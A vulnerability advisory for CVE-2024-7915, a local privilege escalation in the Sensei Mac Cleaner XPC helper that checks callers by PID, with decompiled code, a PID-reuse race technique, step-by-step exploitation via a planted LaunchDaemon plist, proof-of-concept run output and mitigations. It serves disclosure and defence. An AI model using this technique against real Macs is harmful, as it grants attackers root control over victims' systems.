Dec 11, 2024
CVE-2024-7915
Carlos Garrido of Pentraze Cybersecurity
The application Sensei Mac Cleaner is affected by a local privilege escalation vulnerability that allows an attacker to execute various operations with root privileges. These operations include arbitrary file deletion and modification, loading and unloading daemons, altering file permissions, loading system extensions, and performing other unauthorized actions.
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
The Sensei Mac Cleaner application follows the “factored applications” model, meaning its functionality is divided into separate components. In this context, Sensei includes a helper tool called org.cindori.SenseiHelper that delegates specific tasks requiring elevated privileges, such as such as activating the Trim kernel extension (KEXT) and managing the state of the SenseiDaemon, among other tasks. Additionally, this Privileged Helper Tool is contacted via XPC.
It’s crucial for an XPC service to verify the code signature of any process attempting to establish a connection. There are two methods for performing this validation: the public processIdentifier property and the private auditToken property, both available through the NSXPCConnection class. However, relying on processIdentifier is insecure. Unfortunately, Sensei currently uses this less secure approach.
When reversing XPC services, a key method to examine is listener:shouldAcceptNewConnection:. Defined by the NSXPCListenerDelegate protocol, this method is triggered upon each incoming connection request and is responsible for determining whether the connection should be accepted, effectively controlling how the service establishes communication with clients.
When the listener:shouldAcceptNewConnection: method is invoked to determine whether to accept a connection, the sub_100013340 function is called before returning YES (1). This indicates that some form of intermediate logic, such as a validation check, is likely performed before the connection is approved.
char -[_TtC24org_cindori_SenseiHelper6Helper listener:shouldAcceptNewConnection:](id self, SEL sel, id listener, id shouldAcceptNewConnection)
int64_t rax
int64_t var_38 = rax
id obj = _objc_retain(obj: listener)
id obj_1 = _objc_retain(obj: shouldAcceptNewConnection)
id obj_2 = _objc_retain(obj: self)
char rax_1 = sub_100013340(obj_1, obj_2)
_objc_release(obj)
_objc_release(obj: obj_1)
_objc_release(obj: obj_2)
return rax_1 & 1
The sub_100013340 function takes two parameters: obj_1, which is the object (NSXPCConnection)newConnection*, and obj_2, which is the static code object representing the signed code on disk (SecStaticCodeRef).
Based on the function prototype and the following disassembled code, we can deduce the following:
The function accesses the public processIdentifier parameter to validate the incoming connection. This point is critical, as it explains why we are ultimately able to establish a successful connection with the server and invoke the methods exposed by the XPC interface.
The protocol configured via setExportedInterface: is HelperProtocol. This means that anyone who successfully establishes a connection to the XPC service will be able to invoke the functions defined by this protocol.
uint64_t sub_100013340(struct objc_object* arg1, SecStaticCodeRef arg2 @ r13)
SecStaticCodeRef var_20 = arg2
int64_t (* const aBlock)() = nullptr
int64_t var_60 = -0x2000000000000000
_$ss11_StringGutsV4growyySiF(0x26)
_swift_bridgeObjectRelease(var_60)
aBlock = -0xd000000000000021
int64_t var_60_1 = -0x7ffffffefffe77a0
int32_t var_38 = _objc_msgSend(self: arg1, cmd: "processIdentifier")
.
.
<SNIP>
.
.
*(arg2 + data_10001d9c0) = 0
struct objc_protocol_t* protoRef_AppProtocol_1 = protoRef_AppProtocol
id rax_4 = _objc_opt_self(obj: _OBJC_CLASS_$_NSXPCInterface)
id obj = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: rax_4, cmd: "interfaceWithProtocol:", protoRef_AppProtocol_1))
_objc_msgSend(self: arg1, cmd: "setRemoteObjectInterface:", obj)
_objc_release(obj)
id obj_1 = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: rax_4, cmd: "interfaceWithProtocol:", protoRef_HelperProtocol))
_objc_msgSend(self: arg1, cmd: "setExportedInterface:", obj_1)
_objc_release(obj: obj_1)
_objc_msgSend(self: arg1, cmd: "setExportedObject:", arg2)
.
.
<SNIP>
.
.
By accessing the objc_protocol_t structure, we can extract valuable structures and data, such as the protocol name and the methods it defines:
HelperProtocol. This information is crucial before attempting to establish a remote connection with the XPC service. struct objc_protocol_t protocol_HelperProtocol =
{
void* isa = 0x0
char* mangledName = protocolName_HelperProtocol {"HelperProtocol"}
struct objc_protocol_list_t* protocols = 0x0
struct objc_method_list_t* instanceMethods = method_list_HelperProtocol
struct objc_method_list_t* classMethods = 0x0
struct objc_method_list_t* optionalInstanceMethods = 0x0
struct objc_method_list_t* optionalClassMethods = 0x0
void* instanceProperties = 0x0
uint32_t size = 0x60
uint32_t flags = 0x1
}
Additionally, through the instanceMethods object, we can identify all the methods (objc_method_list_t) that the protocol exposes:
root user, such as creating files (method_createEmptyFileWithPath:completion:), copying files (method_copyItemsWithSources:targets:permissions:completion:), loading daemons (method_loadDaemonWithPath:label:completion:), among others. struct objc_method_list_t method_list_HelperProtocol =
{
uint32_t obsolete = 0x18
uint32_t count = 0x15
}
struct objc_method_t method_createEmptyFileWithPath:completion: =
{
char* name = sel_createEmptyFileWithPath:completion: {"createEmptyFileWithPath:completi…"}
char* types = selTypes_unloadDaemonWithPath:completion: {"v32@0:8@16@?24"}
void* imp = 0x0
}
struct objc_method_t method_loadExtensionWithName:completion: =
{
char* name = sel_loadExtensionWithName:completion: {"loadExtensionWithName:completion…"}
char* types = selTypes_unloadDaemonWithPath:completion: {"v32@0:8@16@?24"}
void* imp = 0x0
}
struct objc_method_t method_rebuildKextCacheWithCompletion: =
{
char* name = sel_rebuildKextCacheWithCompletion: {"rebuildKextCacheWithCompletion:"}
char* types = selTypes_isTrimEnabledWithCompletion: {"v24@0:8@?16"}
void* imp = 0x0
}
.
.
<SNIP>
.
.
struct objc_method_t method_installExtensionWithUrl:completion: =
{
char* name = sel_installExtensionWithUrl:completion: {"installExtensionWithUrl:completi…"}
char* types = selTypes_unloadDaemonWithPath:completion: {"v32@0:8@16@?24"}
void* imp = 0x0
}
struct objc_method_t method_copyItemsWithSources:targets:permissions:completion: =
{
char* name = sel_copyItemsWithSources:targets:permissions:completion: {"copyItemsWithSources:targets:per…"}
char* types = selTypes_copyItemsWithSources:targets:permissions:completion: {"v48@0:8@16@24@32@?40"}
void* imp = 0x0
}
struct objc_method_t method_loadDaemonWithPath:label:completion: =
{
char* name = sel_loadDaemonWithPath:label:completion: {"loadDaemonWithPath:label:complet…"}
char* types = selTypes_loadDaemonWithPath:label:completion: {"v40@0:8@16@24@?32"}
void* imp = 0x0
}
struct objc_method_t method_unloadDaemonWithPath:completion: =
{
char* name = sel_unloadDaemonWithPath:completion: {"unloadDaemonWithPath:completion:"}
char* types = selTypes_unloadDaemonWithPath:completion: {"v32@0:8@16@?24"}
void* imp = 0x0
}
.
.
<SNIP>
.
.
If we develop a simple XPC client to attempt to establish a connection with the XPC service, the request will be rejected since the client’s code signature does not match the expected Team ID and Bundle Identifier enforced by the service.
2024-08-18 13:47:23.677 simpleClient[39275:2439743] [+] macOS Cindori Sensei - Simple Client:
2024-08-18 13:47:23.679 simpleClient[39275:2439743] [+] Current Process Id: 39275
2024-08-18 13:47:23.679 simpleClient[39275:2439743] [+] Establishing and resuming connection [_agentConnection] with target service name: `org.cindori.SenseiHelper`
2024-08-18 13:47:23.680 simpleClient[39275:2439743] [+] Remote Object: <__NSXPCInterfaceProxy_HelperProtocol: 0x600002638050>
2024-08-18 13:47:23.680 simpleClient[39275:2439743] [+] Remote Connection: <NSXPCConnection: 0x600003430000> connection to service named org.cindori.SenseiHelper
2024-08-18 13:47:23.680 simpleClient[39275:2439743] [+] Obtaining version information by calling `getVersionWithCompletion:` method
2024-08-18 13:47:24.245 simpleClient[39275:2439761] [!] Something went wrong!
2024-08-18 13:47:24.245 simpleClient[39275:2439761] [!] Error: Error Domain=NSCocoaErrorDomain Code=4097 "connection to service named org.cindori.SenseiHelper" UserInfo={NSDebugDescription=connection to service named org.cindori.SenseiHelper}
2024-08-18 13:47:33.680 simpleClient[39275:2439743] [+] Done!
If we inspect the application’s logs, we will see that the service indeed declined our connection originating from process ID 39275:
cat /Library/Logs/Sensei/SenseiHelper.log| grep "39275"
2024-08-18 13:47:23: Receving connection request from 39275...
2024-08-18 13:47:24: XPC Listener 39275 not valid, denying connection.
When a macOS XPC service verifies the calling process by PID instead of using the audit token, it becomes susceptible to PID reuse attacks. This type of attack exploits a race condition where an attacker first sends a malicious message to the XPC service and then rapidly executes:
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
This function allows the legitimate binary to assume the PID, but by this time, the malicious message has already been sent. If the XPC service authenticates the sender based on the PID after posix_spawn is executed, it will mistakenly attribute the message to a trusted process.
This race condition is possible and works for the following reason: When we call posix_spawn to create a new process, we pass the POSIX_SPAWN_SETEXEC flag, which causes posix_spawn to behave like an execv call, creating a new process with the same process ID. Additionally, we pass the POSIX_SPAWN_START_SUSPENDED flag to ensure that the process starts in a suspended state.
During the PID Reuse attack, the program we will invoke via the posix_spawn function will be /Applications/Sensei.app/Contents/MacOS/Sensei, as it contains the code signature, including the Bundle ID and Team ID, that the XPC service expects:
Executable=/Applications/Sensei.app/Contents/MacOS/Sensei
Identifier=org.cindori.Sensei
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=52286 flags=0x10000(runtime) hashes=1623+7 location=embedded
Signature size=8992
Timestamp=Apr 29, 2024 at 10:09:40 AM
Info.plist entries=31
TeamIdentifier=ZQK6SX26CE
Runtime Version=14.4.0
Sealed Resources version=2 rules=13 files=319
Internal requirements count=1 size=212
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.application-identifier</key><string>ZQK6SX26CE.org.cindori.Sensei</string><key>com.apple.developer.team-identifier</key><string>ZQK6SX26CE</string><key>com.apple.security.application-groups</key><array><string>group.org.cindori.Sensei</string></array></dict></plist>%
Call the copyItemsWithSources:targets:permissions:completion: function:
/Library/LaunchDaemons/org.cindori.SenseiHelper.plist with 0777 permissions to /private/tmp/.Modify the .plist file:
.plist file.Place the modified .plist file back into /Library/LaunchDaemons with 0644 permissions.
Load the modified daemon:
loadDaemonWithPath:label:completion: function to load the modified .plist file.Cleanup
unloadDaemonWithPath:completion: function.garrido@Garridos-MacBook-Air Sensei % ls -l /Library/LaunchDaemons/com.privesc.Load.plist
ls: /Library/LaunchDaemons/com.privesc.Load.plist: No such file or directory
garrido@Garridos-MacBook-Air Sensei % ls -l /Library/pwned.txt
ls: /Library/pwned.txt: No such file or directory
garrido@Garridos-MacBook-Air Sensei % ./SenseiExp
2024-08-17 22:25:55.942 SenseiExp[38436:2363533] [+] macOS Cindori Sensei Exploit - Privilege Escalation:
2024-08-17 22:25:55.943 SenseiExp[38436:2363533] ---------------------------------------------------------------
[+] Forked: 38437
2024-08-17 22:25:55.946 SenseiExp[38437:2363553] [+] Establishing and resuming connection [_agentConnection] with target service name: `org.cindori.SenseiHelper`
2024-08-17 22:25:55.948 SenseiExp[38437:2363553] [+] Remote Object: <__NSXPCInterfaceProxy_HelperProtocol: 0x7fd775804b50>
2024-08-17 22:25:55.948 SenseiExp[38437:2363553] [+] Remote Connection: <NSXPCConnection: 0x7fd774f05400> connection to service named org.cindori.SenseiHelper
2024-08-17 22:25:55.948 SenseiExp[38437:2363553] [+] Copying Item `/Library/LaunchDaemons/org.cindori.SenseiHelper.plist` with `0777` permissions to `/private/tmp/com.privesc.Load.plist`
2024-08-17 22:25:58.948 SenseiExp[38436:2363533] [+] Phase 1 Done!
2024-08-17 22:25:58.948 SenseiExp[38436:2363533] ---------------------------------------------------------------
2024-08-17 22:25:58.948 SenseiExp[38436:2363533] [+] Changing `/private/tmp/com.privesc.Load.plist` contents...
2024-08-17 22:25:58.948 SenseiExp[38436:2363533] ---------------------------------------------------------------
[+] Forked: 38438
2024-08-17 22:25:58.960 SenseiExp[38438:2363566] [+] Establishing and resuming connection [_agentConnection] with target service name: `org.cindori.SenseiHelper`
2024-08-17 22:25:58.961 SenseiExp[38438:2363566] [+] Remote Object: <__NSXPCInterfaceProxy_HelperProtocol: 0x7fd774f04990>
2024-08-17 22:25:58.961 SenseiExp[38438:2363566] [+] Remote Connection: <NSXPCConnection: 0x7fd7759040f0> connection to service named org.cindori.SenseiHelper
2024-08-17 22:25:58.962 SenseiExp[38438:2363566] [+] Copying Item `/private/tmp/com.privesc.Load.plist` with `0644` permissions to `/Library/LaunchDaemons/com.privesc.Load.plist`
2024-08-17 22:25:58.963 SenseiExp[38438:2363566] [+] Loading `privesc` daemon with `loadDaemonWithPath:label:completion:`
2024-08-17 22:26:01.962 SenseiExp[38436:2363533] [+] Phase 2 Done!
2024-08-17 22:26:01.963 SenseiExp[38436:2363533] ---------------------------------------------------------------
[+] Forked: 38443
2024-08-17 22:26:01.967 SenseiExp[38443:2363598] [+] Establishing and resuming connection [_agentConnection] with target service name: `org.cindori.SenseiHelper`
2024-08-17 22:26:01.968 SenseiExp[38443:2363598] [+] Remote Object: <__NSXPCInterfaceProxy_HelperProtocol: 0x7fd775805b70>
2024-08-17 22:26:01.968 SenseiExp[38443:2363598] [+] Remote Connection: <NSXPCConnection: 0x7fd775b04080> connection to service named org.cindori.SenseiHelper
2024-08-17 22:26:01.969 SenseiExp[38443:2363598] [+] Unloading `com.privesc.Load` daemon with `unloadDaemonWithPath:completion:`
2024-08-17 22:26:04.968 SenseiExp[38436:2363533] [+] Phase 3 Done!
2024-08-17 22:26:04.968 SenseiExp[38436:2363533] ---------------------------------------------------------------
garrido@Garridos-MacBook-Air Sensei % ls -l /Library/LaunchDaemons/com.privesc.Load.plist
-rw-r--r-- 1 root wheel 411 Aug 17 22:25 /Library/LaunchDaemons/com.privesc.Load.plist
garrido@Garridos-MacBook-Air Sensei % cat /Library/LaunchDaemons/com.privesc.Load.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.privesc.Load</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>touch /Library/pwned.txt</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
garrido@Garridos-MacBook-Air Sensei % ls -l /Library/pwned.txt
-rw-r--r-- 1 root wheel 0 Aug 17 22:25 /Library/pwned.txt
Terminate the connection upon receiving an unrecognized message.
Perform authorization checks before accepting a connection whenever possible.
xpc_dictionary_get_audit_token.Leverage new APIs for automatic code signing verification before accepting a connection:
[NSXPCConnection setCodeSigningRequirement:] (available since macOS 13.0)
xpc_connection_set_peer_code_signing_requirement (available since macOS 12.0)